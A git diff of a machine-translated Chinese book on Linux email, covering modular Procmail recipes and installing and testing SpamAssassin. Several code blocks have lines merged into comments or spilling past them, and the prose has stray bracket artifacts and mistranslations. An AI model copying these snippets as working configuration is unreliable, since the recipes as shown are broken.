-作为避免重复发明轮子的社区努力的一部分,Procmail 模块库提供了由 Procmail 用户贡献的有用的食谱集合。 下面来自 Procmail 模块库[http://freshmeat.net/projects/procmail-lib](http://freshmeat.net/projects/procmail-lib)的介绍将该包描述为: - -> Procmail 模块库是 Procmail 邮件处理实用程序的许多插件模块的集合。 这些模块允许执行一些常见的任务,比如解析日期、时间、MIME 和电子邮件地址、转发邮件、处理 POP3、屏蔽垃圾邮件、运行电子邮件 cron 作业、处理守护消息等等。 - -每个模块,或 Procmail 包含的文件,都有完整的文档,并展示了示例用法。 它们可以作为提供的,具有各种可配置选项或作为您自己的菜谱的基础使用。 我们在本章中介绍的许多技术以及一些更复杂的基于消息内容类型的过滤方法都在库中使用。 - -# 把它们放在一起 - -在本章中,我们已经涵盖了广泛的主题,现在我们可以把这些主题集中起来。 下面的例子使用了本章中展示的每一种技术,并且通常用于电子邮件处理。 我希望它对您创建自己的邮件过滤策略有用。 - -## 创建基于自己规则的结构 - -对 Procmail 规则和配置的相关方面进行分组将使您的安装更容易维护,并且在进行更改时不太可能产生问题。 - -在主 Procmail 目录中,按照一致的命名约定创建单独的文件,比如 `rc.main, rc.spam, rc.lists`,等等。 然后将它们分别包含到您的主 `.procmailrc`文件中,如下所示。 - -```sh -#This obtains the date formatted as YYYY MM DD date = `date "+%Y %m %d"` -#Now assign the Year YYYY style :0 * date ?? ^^()\/ { YYYY = $MATCH } -#Now assign the Year YY style :0 * date ?? ^^..\/ { YY = $MATCH } -#Now assign the Month MM style :0 * date ?? ^^.....\/ { MM = $MATCH } -#Now assign the Day DD style :0 * date ?? ()\/..^^ { DD = $MATCH } -#Create the various directory formats you are going to use -DUMMY=`test -d ${YYYY}/${MM}/${DD} || mkdir -p ${YYYY}/${MM}/${DD}` -DUMMY=`test -d ${YY}/${MM} || mkdir -p ${YY}/${MM}` -#Make a backup copy of all incoming mail -:0 c -backup/ -#Restrict the history to just 32 mail items -:0 ic -| cd backup && rm -f dummy `ls -t msg.* | sed -e 1,32d` -#Make sure that all mails have a valid From value -:0 fhw -| formail -I "From " -a "From " -# -## Don't include this unless we need to -## INCLUDERC=${HOME}/Procmail/rc.testing -## -## Now include the various process listings -INCLUDERC=${HOME}/Procmail/rc.system -INCLUDERC=${HOME}/Procmail/rc.lists -INCLUDERC=${HOME}/Procmail/rc.killspam -INCLUDERC=${HOME}/Procmail/rc.vacation -INCLUDERC=${HOME}/Procmail/rc.largefiles -INCLUDERC=${HOME}/Procmail/rc.virusfilter -INCLUDERC=${HOME}/Procmail/rc.spamfilter - -``` - -现在,对于列出的每个 `include`文件,按名称创建文件,并在该文件中包含与容器相关的规则。 然后,这就变成了对临时隔离接收邮件的处理部分的 `INCLUDERC`引用进行评论的问题。 注意不要盲目地剪切和粘贴这些示例,而不检查每个配方是否按预期执行,特别是在生产环境中。 - -### Rc.system - -在一个过时的文件夹结构中的文件信息系统和守护进程消息可以给出如下: - -```sh -# Filter system mail messages into a dated folder structure. -# The variables YY and MM are defined in the calling recipe -# and each of the directories will have been created if necessary. -:0: -* ^From:.*root@delta.adepteo.net -${YY}/${MM}/daemon/ -:0: -* ^From:.*root@ramsbottom.adepteo.net -${YY}/${MM}/daemon/ -:0: -* ^TO_pager@adepteo.net -${YY}/${MM}/daemon/ -:0: -* ^From:.*MAILER-DAEMON@delta.adepteo.net -${YY}/${MM}/daemon/ -:0: -* ^From:.*me@localhost.com -${YY}/${MM}/daemon/ - -``` - -### Rc.lists - -将我们订阅的所有邮件列表保存在有日期的文件夹中,以便以后阅读。 - -```sh -# Mailing lists -# Store by date folder -# The variables DD and MM are defined in the calling recipe. -# and each of the directories will have been created if necessary. -:0: -* ^From:.*mapserver-users-admin@lists.gis.umn.edu -${YY}/${MM}/mapserver/ -:0: -* ^TO_mapserver-users@lists.gis.umn.edu -${YY}/${MM}/mapserver/ -:0: -* ^From:.*yourtopjob@topjobs.co.uk -${YY}/${MM}/jobs/ -:0: -* ^Subject: silicon Jobs-by-Email Alert -${YY}/${MM}/jobs/ -:0: -* ^Reply-To: Axandra Search Engine Facts -${YY}/${MM}/lists/ -:0: -* ^Subject: A Joke A Day -${YY}/${MM}/lists/ -:0: -* ^List-Owner: -${YY}/${MM}/lists/ -:0: -* ^Reply-To: newsletter@192.com -${YY}/${MM}/lists/ -:0: -* ^Subject: Developer Shed Weekly Update -${YY}/${MM}/lists/ - -``` - -### Rc.killspam - -删除任何来自发件人的邮件,符合我们的杀死文件中的地址。 - -```sh -#Kill file for known spammers -# If the sender is in the killfile then discard the mail into the bit bucket -# Here we use the external command 'grep' to search our killfile for a -# matching sending sending by testing the return status from grep. -:0: -* ? grep -i `formail -rtzxTo:` $HOME/.killfile -/dev/null - -``` - -### Rc.vacation - -我们的假期自动回复食谱: - -```sh -#Vacation Replies -:0 Whc: vacation.lock -# Perform a quick check to see if the mail was addressed to us -* $^To_:.*\<$\LOGNAME\> -# Don't reply to daemons and mailinglists -* !^FROM_DAEMON -# Mail loops are evil -* !^X-Loop: $RECIPIENT -| formail -rD 8192 vacation.cache -:0 ehc -# if the name was not in the cache reply with the contents -# of our vacation message in the body of the email. -| ( -formail -rA"Precedence: junk" \ --A"X-Loop: $RECIPIENT" ; \ -cat $HOME/.vacation_message \ -) | $SENDMAIL -oi -t - -``` - -### Rc.largefiles - -为了避免大邮件堵塞我们的收件箱,我们将大邮件归档到一个文件夹中,并向自己发送一个通知,告知我们收到了一个超大的邮件。 - -```sh -#Assume that files larger than 100k are not spam -:0: * >100000 -{ -#Place a copy in the largemail folder -:0 c: largemail/ -#Strip the body to 1kb :0 bfwi | /usr/bin/head -c1024 -#ReWrite the subject line :0 fhw * ^Subject:\/.* | formail -I "Subject: {* -BIG- *} $MATCH" } - -``` - -### rc .病毒 - -任何带有表明邮件为病毒的电子邮件标题的文件都放在文件夹中。 - -```sh -#Virus Filter -#X-Virus-Status: Infected -:0: -* ^X-Virus-Status: Infected -_virus/ - -``` - -### Rc.spamfilter - -任何带有表明邮件为垃圾邮件的电子邮件标题的文件都放在文件夹中。 - -```sh -#Spam Filter -:0fw -* < 256000 -| spamc -# Mails with a score of 15 or higher are almost certainly -# spam (with 0.05% false positives according to -# rules/STATISTICS.txt). Let's put them in a -# different mbox. (This one is optional.) -# -# The regular expression below matches the SpamAssassin -# header with 15 asterisks or more. -# -:0: -* ^X-Spam-Level: \*\*\*\*\*\*\*\*\*\*\*\*\*\*\* -_almost-certainly-spam/ -# All mail tagged as spam (eg. with a score higher than the -# set threshold) -is moved to "probably-spam". -:0: -* ^X-Spam-Status: Yes -_probably-spam/ - -``` - -# 总结 - -在本章中,我们探索了 Procmail,发现了大量的服务和功能,它们可以帮助我们控制邮件。 使用 Procmail 的高级功能,我们发现: - -* 传递和非传递食谱之间的区别 -* 如何订购每一道菜以避免延迟交货时间 -* 使用 Procmail 变量和条件标志来控制传递 -* 使用正则表达式进行复杂的模式匹配 -* 大量可用的 Procmail 宏及其使用 -* 最后,还有一些有效管理邮件的食谱示例 - -虽然我们已经介绍了很多内容,但仍有很多内容需要学习,并且 Web 上有大量资源专门用于这个特定的应用。 - -希望您现在已经掌握了 Procmail 的核心功能、如何实现它,以及如何探索您的实际需求,并创建您可以组合起来创建自己独特的邮件过滤策略的食谱集。 \ No newline at end of file diff --git a/docs/linux-email/08.md b/docs/linux-email/08.md deleted file mode 100644 index cd327bad..00000000 --- a/docs/linux-email/08.md +++ /dev/null @@ -1,1133 +0,0 @@ -# 八、使用 SpamAssassin 摧毁垃圾邮件 - -垃圾邮件,或有时被称为不请自来的商业电子邮件(UCE),是互联网的祸害。 垃圾邮件在过去的十年中不断增加,现在占据了所有互联网带宽的一半以上。 六分之一的用户对垃圾邮件采取过行动,因此,将垃圾邮件从用户的收件箱中清除出去是一个强有力的商业案例。 有许多不同的垃圾邮件解决方案,从完全外包你的垃圾邮件到不采取任何行动。 但是,如果您有自己的电子邮件服务器,您可以非常容易地添加垃圾邮件过滤。 - -SpamAssassin 是一个非常流行的开源反垃圾邮件工具。 它获得了 2006 年 Linux 新媒体奖“最佳基于 Linux 的反垃圾邮件解决方案”,被许多人认为是最好的免费、开源的反垃圾邮件工具,比许多商业产品都要好。 事实上,许多商业产品和服务都是基于 SpamAssassin 或其以前的版本。 - -在本章中,你将学到: - -* 为什么垃圾邮件很难处理,为什么垃圾邮件过滤器需要定期更新 -* 如何下载、安装和配置 SpamAssassin -* 如何用 SpamAssassin 过滤传入的电子邮件。 -* 如何配置 SpamAssassin 工作在每个用户或每个服务器的基础上 -* 如何配置流行的电子邮件客户机来识别 SpamAssassin 在电子邮件中放置的标记 -* 如何自定义 SpamAssassin 来自动更新新规则集,以保持您的系统的垃圾邮件检测良好。 -* 如何整合垃圾邮件过滤与病毒识别使用 amavisd - -# 为什么要过滤邮件 - -如果您没有收到任何垃圾邮件,可能没有必要过滤垃圾邮件。 然而,一旦收到一条垃圾邮件,就必然会收到更多垃圾邮件。 垃圾邮件发送者有时可以使用 Web bug(从 Web 服务器获取的 HTML 电子邮件中的小图像)等技术检测垃圾邮件是否被查看,然后知道该电子邮件地址是有效的且易受攻击的。 如果对垃圾邮件进行了过滤,那么最初的电子邮件可能永远不会被看到,因此垃圾邮件发送者可能就不会以该电子邮件地址为目标,继续发送垃圾邮件。 - -尽管针对垃圾邮件采取了法律措施,但实际上垃圾邮件的数量仍在增加。 在欧洲及美国,最近针对滥发讯息的法例(指示 2002/58/EC 及条例草案编号 S.877)收效甚微,而滥发讯息在两地仍呈上升趋势。 - -主要原因是垃圾邮件是一种非常好的商业模式。 发送垃圾邮件是非常便宜的,每封邮件只有千分之一美分,而且在盈利之前,它需要非常低的点击率。 垃圾邮件发送者只需要将十万份左右的垃圾邮件中的一份转化为销售就能获利。 因此,有许多垃圾邮件和垃圾邮件是用来推广广泛的商品。 垃圾邮件的成本也可以忽略,由于使用恶意软件,使用无辜的电脑发送垃圾邮件的代表。 - -相比之下,垃圾邮件的成本对接收者来说是非常高的。 估计各不相同,从收到每封垃圾邮件 10 美分到每个员工每年 1000 美元,到 2007 年全球总共花费 1400 亿美元。 这种成本主要是劳动力——堵塞收件箱,迫使人们处理许多额外的电子邮件,从而分散了人们的工作注意力。 垃圾邮件干扰日常工作,可能包括冒犯大多数人的内容。 公司有责任保护员工不受此类内容的影响。 垃圾邮件过滤是一种非常廉价的方法,可以最大限度地降低成本并保护员工。 - -## 垃圾邮件是一个移动的目标 - -垃圾邮件不是静态的。 随着垃圾邮件发送者添加新方法,反垃圾邮件发送者开发对策,它每天都在变化。 因此,最有效的反垃圾邮件工具是那些经常更新的工具。 这与反病毒软件的困境相似——病毒定义需要定期更新,否则就无法检测到新的病毒。 - -SpamAssassin 定期更新。 除了新发布的软件,还有一个活跃的社区创建、批评和测试新的反垃圾邮件规则。 这些规则可以自动下载,以防止垃圾邮件的最新保护。 - -让我们来讨论 SpamAssassin 打击垃圾邮件的一些措施: - -* **开放中继:**这些是允许垃圾邮件发送者发送电子邮件的电子邮件服务器,即使它们没有以任何方式连接到服务器的所有者。 为了解决这个问题,反垃圾邮件社区开发了**黑名单**,也称为**黑名单**,反垃圾邮件软件可以使用这些黑名单来检测垃圾邮件。 这些在第 5 章中提到,你的电子邮件服务器不应该出现在这个列表中,因为它可能会限制合法的电子邮件流量。 任何通过黑名单服务器的电子邮件都会比未通过黑名单服务器的电子邮件受到更大的怀疑。 SpamAssassin 使用许多黑名单来测试电子邮件。 -* **关键字过滤器:**这些是对付垃圾邮件的有用工具。 垃圾邮件发送者倾向于一遍又一遍地重复相同的单词和短语。 SpamAssassin 广泛使用检测这些短语的规则。 这些组成了测试的大部分,前面提到的用户社区规则通常是这种形式的。 它们允许检测特定的单词、短语或字母、数字和标点序列。 -* **黑名单和白名单:**它们分别用于列出已知的垃圾邮件发送者和良好电子邮件来源。 来自黑名单上地址的电子邮件很可能是垃圾邮件,并相应地得到处理,而来自白名单上地址的电子邮件不太可能被视为垃圾邮件。 SpamAssassin 允许用户手动输入黑名单和白名单,并根据它处理的电子邮件构建自动白名单和黑名单。 -* **统计过滤器:**这些是自动系统,可以给出电子邮件是垃圾邮件的可能性。 这种过滤是基于过滤器以前所看到的垃圾邮件和非垃圾邮件。 它们的工作方式通常是找到一种类型的电子邮件中存在的单词,而不是另一种类型的,并使用这种知识来确定新电子邮件是哪种类型的。 SpamAssassin 有一个被称为**贝叶斯过滤器**的统计过滤器,可以非常有效地提高检出率。 -* **内容数据库:**这些是海量电子邮件检测系统。 许多电子邮件服务器向中央服务器接收和提交电子邮件。 如果同样的电子邮件被发送给成千上万的收件人,它可能是垃圾邮件。 内容数据库通过使用一种称为**散列**的技术防止机密电子邮件被发送到服务器,这种技术还降低了发送到服务器的数据量。 SpamAssassin 可以与多个内容数据库集成,特别是 Vipul 的剃须刀(http://razor.sourceforge.net/),Pyzor (http://sourceforge.net/apps/trac/pyzor/),和分布式校验和清算所【显示】,,**DCC (http://www.rhyolite.com/dcc/【病人】)。** -* **URL 阻止列表:**这些类似于开放中继阻止列表,但列出了垃圾邮件发送者使用的网站。 在几乎所有的垃圾邮件中,都会给出一个网址。 建立了这些数据库,以便能够快速检测到垃圾邮件。 这是一个对付垃圾邮件非常有效的工具。 默认情况下,SpamAssassin 使用**垃圾邮件 URI 实时阻断列表**(**SURBLs**),不需要任何进一步配置。 - -## 垃圾邮件过滤选项 - -垃圾邮件可以在服务器或客户端进行过滤。 下面解释这两种方法。 在第一个场景中,垃圾邮件在客户机上被过滤。 - -![Spam filtering options](img/8648_08_01.jpg) - -1. 邮件由 MTA 处理。 -2. 然后将电子邮件放在适当用户的收件箱中。 -3. 电子邮件客户机从收件箱读取所有新电子邮件。 -4. 然后,电子邮件客户机将电子邮件传递给过滤器。 -5. 当过滤器返回结果时,客户端可以显示有效的电子邮件并丢弃垃圾邮件或将其归档到一个单独的文件夹中。 - -在这种方法中,垃圾邮件过滤总是由客户端完成,并且总是在处理新电子邮件时完成。 通常是当用户可能在场时,因此他或她可能会在电子邮件可见之前经历一段延迟,或者在客户端软件从视图中过滤垃圾邮件之前,垃圾邮件在收件箱中存在一段时间。 可以在客户端上执行的垃圾邮件过滤数量可能是有限的。 特别是,网络测试(如开放中继阻止列表或 SURBLs)可能太耗时或太复杂,无法在用户的 PC 上执行。 由于垃圾邮件是一个移动的目标,更新许多客户端 pc 可能成为一个困难的管理任务。 - -在第二个场景中,垃圾邮件过滤是在电子邮件服务器上执行的。 - -![Spam filtering options](img/8648_08_02.jpg) - -1. 收到的电子邮件由 MTA 接收。 -2. 然后,它被传递给垃圾邮件过滤器。 -3. 然后,结果被发送回 MTA。 -4. 根据结果,MTA 将电子邮件放在适当用户的收件箱(**4a**)中,或者放在单独的垃圾邮件文件夹(**4b**)中。 -5. 电子邮件客户机访问用户收件箱中的电子邮件,如果需要,它还可以访问垃圾邮件文件夹。 - -这种方法有几个优点: - -* 垃圾邮件过滤是在收到电子邮件时完成的,这可能是一天中的任何时间。 用户不太可能因为延迟而感到不便。 -* 服务器可以专门处理垃圾邮件过滤。 它可能使用外部服务,如开放中继阻止列表、在线内容数据库和 SURBLs。 -* 配置是集中式的,这将简化设置(例如,可能需要将防火墙配置为使用在线垃圾邮件测试)和维护(更新规则或软件)。 - -另一方面,缺点包括: - -* 现在存在一个单点故障。 但是,小心一点,可以对坏掉的垃圾邮件过滤服务进行配置。 如果该服务不可用,电子邮件仍将被发送,但垃圾邮件将不会被过滤。 -* 所有垃圾邮件必须由一个服务处理。 如果此服务不可伸缩,大量电子邮件可能会影响邮件交付时间,导致过滤效果差或断断续续,甚至可能导致电子邮件服务丢失。 - -# SpamAssassin 简介 - -垃圾邮件过滤实际上涉及两个阶段:检测垃圾邮件,然后对其进行处理。 SpamAssassin 是一个垃圾邮件检测器,它通过放入标头来标记是否为垃圾邮件来修改它处理的电子邮件。 由 MTA 或电子邮件系统中的邮件传递代理来响应 SpamAssassin 在电子邮件中创建的邮件头,并将其过滤掉。 但是,电子邮件系统的另一部分也可能执行此任务。 - -![Introduction to SpamAssassin](img/8648_08_03.jpg) - -前面的图给出了 SpamAssassin 的示意图。 SpamAssassin 的核心是它的**规则引擎**,它决定调用哪些规则。 规则触发是否使用各种测试,包括贝叶斯过滤器、网络测试和自动白名单。 - -SpamAssassin 使用各种数据库来完成工作,下面也展示了这些数据库。 规则和分数是文本文件。 默认规则和分数包含在 SpamAssassin 发行版中,我们将看到,系统管理员和用户都可以添加规则或通过将现有规则添加到特定位置的文件中来更改它们的分数。 Bayesian 过滤器(这是 SpamAssassin 的主要部分,稍后将介绍)使用一个基于以前的垃圾邮件和非垃圾邮件的统计数据数据库。 **自动黑名单/白名单**也创建自己的数据库。 - -# 下载安装 SpamAssassin - -SpamAssassin 与本书中使用的大多数软件略有不同。 它是用一种名为**Perl**的语言编写的,它有自己的分发方法**CPAN**(**综合 Perl 档案网络)**。 CPAN 是 Perl 软件(通常是 Perl 模块)的大型网站,CPAN 这个术语也是用于下载和安装这些模块的软件的名称。 尽管 SpamAssassin 是由许多 Linux 发行版作为包提供的,但我们强烈建议您从源代码安装它,而不是使用一个包。 这样,您将得到 SpamAssassin 的最新版本,而不是您的 Linux 分发程序创建其发行版时的当前版本。 - -大多数 Perl 用户将使用 CPAN 构建 Perl 模块,不会遇到任何困难。 CPAN 可以自动定位和安装任何依赖项(使所需组件正常工作所需的其他组件)。 从 Perl 的角度来看,使用 CPAN 安装 Perl 模块类似于在 Linux 中使用 `rpm`或 `apt-get`命令。 基本原理非常简单,一旦系统配置好,它通常每次都能工作。 - -然而,学习和配置一种安装软件的新方法可能会让一些人望而却步。 SpamAssassin 释放在源代码形式分布,但管理员**Red Hat 包管理器**(**RPM)基于系统可以很容易地最新 SpamAssassin 版本转换成 RPM 格式,然后定期 `rpm`命令可以用来安装包。 当 SpamAssassin 被更新时,Debian 存储库更新得相当快,并且可以使用常规的 `apt-get`命令来安装 SpamAssassin。 我们强烈建议您通过 `apt-get`、CPAN 或使用 `rpmbuild`命令进行安装,而不是使用发行商提供的 RPM。 【显示】** - -由于 SpamAssassin 是一个 Perl 模块,所以它首先出现在 CPAN 上。 事实上,它只有在到达 CPAN 时才被释放。 CPAN 的用户可以在 SpamAssassin 发布几分钟后下载其最新版本。 - -如果 SpamAssassin 是基于源代码构建的,那么它也更容易获得支持。 一些分销商在创建 SpamAssassin 的 RPM 时做出了不同寻常的决定,或者可能会修改某些默认值。 这些使得获得支持更加困难。 - -rpm 交付也需要时间。 发行商在发布新版本的软件之前需要时间来构建和测试它们,而且大多数软件包的更新速度都不如 SpamAssassin 快。 因此,Linux 发行版可能不提供最新的软件,所提供的可能是几个过期的版本。 - -## 使用 CPAN - -使用 CPAN 安装 SpamAssassin 3.2.5 的前提条件如下: - -* **Perl 版本 5.6.1 或更高版本:**大多数现代 Linux 发行版都将此作为基本包的一部分。 -* 当前版本的 SpamAssassin 需要摘要::SHA1、HTML::Parser 和 Net::DNS 模块。 如果您将 CPAN 配置为遵循依赖关系,那么它将安装这些模块,但是还有许多额外的 Perl 模块是可选的,应该安装它们以获得最好的垃圾邮件检测。 CPAN 将发出带有模块名称的警告,这将使您能够识别和安装它们。 -* **C 编译器:**默认情况下可能不安装,可能需要使用 `rpm`命令添加。 所使用的编译器通常称为 `gcc`。 -* **互联网连接:**CPAN 将尝试使用 `HTTP`或 `FTP`下载模块,因此网络应该配置为允许此操作。 - -### 配置 CPAN - -如果您以前使用过 CPAN,您可以跳到下一节:*使用 CPAN*安装 SpamAssassin。 - -如果 Internet 通信需要代理服务器,CPAN(以及其他 Perl 模块和脚本)将使用 `http_proxy`环境变量。 如果代理需要用户名和密码,则需要使用环境变量指定这些用户名和密码。 由于 CPAN 通常以 `root`的形式运行,所以这些命令应该输入为 `root:` - -```sh -# HTTP_proxy=http://proxy.name:80 -# export HTTP_proxy -# HTTP_proxy_user=username -# export HTTP_proxy_user -# HTTP_proxy_pass=password -# export HTTP_proxy_pass - -``` - -接下来,输入以下命令: - -```sh -# perl -MCPAN -e shell - -``` - -如果输出类似于以下内容,则表明 CPAN 模块已经安装和配置,您可以跳到下一节:*使用 CPAN 安装 SpamAssassin*。 - -```sh -cpan shell -- CPAN exploration and modules installation (v1.7601) -ReadLine support enabled - -``` - -如果输出提示手动配置,如下所示,则表示安装了 CPAN 模块,但没有配置。 - -```sh -Are you ready for manual configuration? [yes] - -``` - -在配置期间,CPAN Perl 模块提示回答大约 30 个问题。 对于大多数问题,选择默认值是最好的回答。 在使用 CPAN Perl 模块之前,必须完成这个初始配置。 这些问题主要是关于各种实用程序的位置,可以通过按 Enter 选择默认值。 我们应该更改默认值的唯一问题是关于构建先决条件模块的问题。 如果我们将 CPAN 配置为遵循依赖关系,它将在没有提示的情况下安装所需的模块。 - -```sh -Policy on building prerequisites (follow, ask or ignore)? [ask] follow - -``` - -配置完 CPAN 后,输入 `exit`并按*Enter*退出 shell。 我们现在准备使用 CPAN 来安装 SpamAssassin。 - -## 使用 CPAN 安装 SpamAssassin - -要安装 SpamAssassin,输入以下命令进入 CPAN shell: - -```sh -# cpan - -``` - -如果 CPAN 模块配置正确,将出现以下输出(或类似的内容): - -```sh -cpan shell -- CPAN exploration and modules installation (v1.7601) -ReadLine support enabled - -``` - -现在,在 `cpan`提示符下,输入以下命令: - -```sh -cpan> install Mail::SpamAssassin - -``` - -CPAN 模块将查询在线数据库,查找 SpamAssassin 的最新版本及其依赖项,然后安装它们。 依赖将在 SpamAssassin 之前安装。 下面是示例输出: - -```sh -cpan> install Mail::SpamAssassin -CPAN: Storable loaded ok (v2.18) -Going to read '/root/.cpan/Metadata' -Database was generated on Mon, 03 Aug 2009 04:27:49 GMT -Running install for module 'Mail::SpamAssassin' -CPAN: Data::Dumper loaded ok (v2.121_14) -'YAML' not installed, falling back to Data::Dumper and Storable to read prefs '/root/.cpan/prefs' -Running make for J/JM/JMASON/Mail-SpamAssassin-3.2.5.tar.gz -CPAN: Digest::SHA loaded ok (v5.45) -CPAN: Compress::Zlib loaded ok (v2.015) -Checksum for /root/.cpan/sources/authors/id/J/JM/JMASON/Mail-SpamAssassin-3.2.5.tar.gz ok -Scanning cache /root/.cpan/build for sizes -............................................................................DONE -CPAN: Archive::Tar loaded ok (v1.38) -Will not use Archive::Tar, need 1.00 -Mail-SpamAssassin-3.2.5 -Mail-SpamAssassin-3.2.5/t -Mail-SpamAssassin-3.2.5/sql -Mail-SpamAssassin-3.2.5/lib -.... -CPAN.pm: Going to build F/FE/FELICITY/Mail-SpamAssassin-3.00.tar.gz - -``` - -SpamAssassin 可能要求用户回答一些问题。 提供的响应可能会影响模块配置,或者只是安装前执行的测试的一部分。 - -```sh -CPAN.pm: Going to build J/JM/JMASON/Mail-SpamAssassin-3 -What e-mail address or URL should be used in the suspected-spam report -text for users who want more information on your filter installation? -(In particular, ISPs should change this to a local Postmaster contact) -default text: [the administrator of that system] postmaster@myfomain.com -NOTE: settings for "make test" are now controlled using "t/config.dist". -See that file if you wish to customise what tests are run, and how. -checking module dependencies and their versions... - -``` - -与许多 Perl 模块一样,SpamAssassin 非常灵活。 它可以利用可用的特性,即使没有可用的特性也可以工作。 当使用 CPAN 时,你可能会看到如下消息: - -```sh -optional module missing: Mail::SPF -optional module missing: Mail::SPF::Query -optional module missing: IP::Country -optional module missing: Razor2 -optional module missing: Net::Ident -optional module missing: IO::Socket::INET6 -optional module missing: IO::Socket::SSL -optional module missing: Mail::DomainKeys -optional module missing: Mail::DKIM -optional module missing: DBI -optional module missing: Encode::Detect - -``` - -如果您安装了上述模块,SpamAssassin 将利用它们,这将改进电子邮件过滤。 您可以中止 SpamAssassin 的安装,并使用 cpan `install Module::Name`命令安装模块。 - -如果您让构建过程完成,它将测试 C 编译器的功能、配置和构建模块、创建文档并测试 SpamAssassin。 在构建结束时,输出应该类似如下: - -```sh -chmod 755 /usr/share/spamassassin -/usr/bin/make install -- OK -cpan> - -``` - -这表明 SpamAssassin 已被正确安装。 如果 SpamAssassin 安装成功,则可以跳到*测试安装*一节。 - -如果安装失败,输出可能如下所示: - -```sh -Failed 17/68 test scripts, 75.00% okay. 50/1482 subtests -failed, 96.63% okay. -make: *** [test_dynamic] Error 29 -/usr/bin/make test -- NOT OK -Running make install -make test had returned bad status, won't install without force -cpan> - -``` - -如果输出没有以 `/usr/bin/make install -- OK`消息结束,则表示发生了错误。 首先,您应该检查所有输出,以发现可能的警告和错误消息,特别是对于先决条件包。 如果没有帮助,则在*测试安装*部分描述支持途径。 - -## 使用 rpmbuild 工具 - -如果使用 Red Hat Package Manager 格式的 Linux 操作系统,则可以通过 `rpmbuild`命令安装 SpamAssassin。 将 SpamAssassin 源代码从[http://www.cpan.org/modules/01modules.index.html](http://www.cpan.org/modules/01modules.index.html)下载到一个工作目录中,然后发出以下命令来构建 SpamAssassin: - -```sh -# rpmbuild -tb Mail-SpamAssassin-3.2.5.tar.gz -``` - -```sh -Executing(%prep): /bin/sh -e /var/tmp/rpm-tmp.ORksvX -+ umask 022 -+ cd /root/rpmbuild/BUILD -+ cd /root/rpmbuild/BUILD -+ rm -rf Mail-SpamAssassin-3.2.5 -+ /usr/bin/gzip -dc /root/Mail-SpamAssassin-3.2.5.tar.gz -+ /bin/tar -xf - -+ STATUS=0 -+ '[' 0 -ne 0 ']' -+ cd Mail-SpamAssassin-3.2.5 -+ /bin/chmod -Rf a+rX,u+w,g-w,o-w . -+ exit 0 -Executing(%build): /bin/sh -e /var/tmp/rpm-tmp.zgpcdd -... -... (output continues) -... -Wrote: /usr/src/redhat/RPMS/i386/spamassassin-3.0.4-1.i386.rpm Wrote: /usr/src/redhat/RPMS/i386/spamassassin-tools-3.0.4-1.i386.rpm Wrote: /usr/src/redhat/RPMS/i386/perl-Mail-SpamAssassin-3.0.4-1.i386.rpm Executing(%clean): /bin/sh -e /var/tmp/rpm-tmp.65065 + umask 022 + cd /usr/src/redhat/BUILD + cd Mail-SpamAssassin-3.0.4 + '[' /var/tmp/spamassassin-root '!=' / ']' + rm -rf /var/tmp/spamassassin-root + exit 0 - -``` - -由于缺少依赖项,安装可能会失败。 这些是 SpamAssassin 使用的 Perl 模块,它们是单独安装的。 错误消息通常会提示依赖项的名称,如下所示: - -```sh -# rpmbuild -tb Mail-SpamAssassin-3.2.5.tar.gz -``` - -```sh -error: Failed build dependencies: -perl(Digest::SHA1) is needed by spamassassin-3.2.5-1.i386 -perl(HTML::Parser) is needed by spamassassin-3.2.5-1.i386 -perl(Net::DNS) is needed by spamassassin-3.2.5-1.i386 - -``` - -在这种情况下,需要 Perl 模块 `Digest::SHA1, HTML::Parser`和 `Net::DNS`。 解决方案是使用 CPAN 安装它。 在某些情况下,SpamAssassin 可能需要特定版本的包,这可能需要升级已安装的版本。 - -当使用 CPAN 安装 SpamAssassin 时,所有依赖项都会自动安装。 但是,在使用 `rpmbuild`命令时,需要手动安装依赖项。 使用 CPAN 通常比 `rpmbuild`更少麻烦。 - -## 使用预构建 rpm - -SpamAssassin 与许多 Linux 发行版一起打包,SpamAssassin 的新发行版通常可以从其他来源获得。 正如前面提到的,rpm 不是安装 SpamAssassin 的推荐方法,但比在不同寻常的平台上从源代码构建要可靠得多。 - -要安装 RPM,只需下载或在发行版 CD 上找到它,然后使用 `rpm`命令安装它。 以下命令可以用来安装 SpamAssassin 的 RPM: - -```sh -# rpm -ivh /path/to/rpmfile-9.99.rpm - -``` - -图形安装程序也可以用于安装 SpamAssassin rpm。 SpamAssassin 网站上列出的 rpm 通常是 SpamAssassin 的最新版本,并且是完整的。 如果不能安装这些组件,则应该安装 Linux 发行版提供的 RPM。 - -## 测试安装 - -有必要执行一些测试来确保 SpamAssassin 被正确安装,并且环境已经完成。 如果您想测试一个特定的用户帐户,您应该登录到该帐户以执行测试。 - -SpamAssassin 包含一个垃圾邮件示例和一个非垃圾邮件示例。 可以通过处理样本电子邮件来测试它。 这些电子邮件位于 SpamAssassin 分发目录的根目录中。 如果您使用 `root`用户使用 CPAN 安装 SpamAssassin,那么到该目录的路径可能类似于 `~root/.cpan/build/Mail-SpamAssassin-3.2.5/`,其中 `3.2.5`是安装 SpamAssassin 的版本。 如果找不到文件,请从[http://www.cpan.org/modules/01modules.index.html](http://www.cpan.org/modules/01modules.index.html)下载 SpamAssassin 源文件,并将源文件解压缩到一个临时目录中。 示例电子邮件位于未打包源的根目录中。 【5】 - -要测试 SpamAssassin,请切换到包含 `sample-spam.txt`的目录,并使用以下命令。 在每个命令之后显示示例结果。 - -```sh -$ spamassassin -t < sample-nonspam.txt | grep X-Spam - -``` - -```sh -[22674] warn: config: created user preferences file: /home/user/.spamassassin/user_prefs -X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on -X-Spam-Level: -X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=haX- - -``` - -```sh -$ spamassassin -t < sample-spam.txt | grep X-Spam - -``` - -```sh -X-Spam-Flag: YES -X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on -X-Spam-Level: ************************************************** -X-Spam-Status: Yes, score=1000.0 required=5.0 tests=GTUBE,NO_RECEIVED, -X-Spam-Report: -X-Spam-Prev-Subject: Test spam mail (GTUBE) - -``` - -使用 `sample-nonspam.txt`的命令输出应该有 `X-Spam-Status: No`,使用 `sample-spam.txt`的命令输出应该有 `X-Spam-Flag: YES`和 `X-Spam-Status: Yes`。 - -SpamAssassin 可以使用 `--lint`标志验证其配置文件,并报告任何错误。 默认情况下,一个干净的安装 SpamAssassin 不应该有任何错误,但一旦一个站点被定制,一些规则可能会失败。 在下面的示例中,条目 `score`不匹配规则: - -```sh -$ spamassassin --lint - -``` - -```sh -warning: score set for non-existent rule RULE_NAME -lint: 1 issues detected. please run with debug enabled for more -information - -``` - 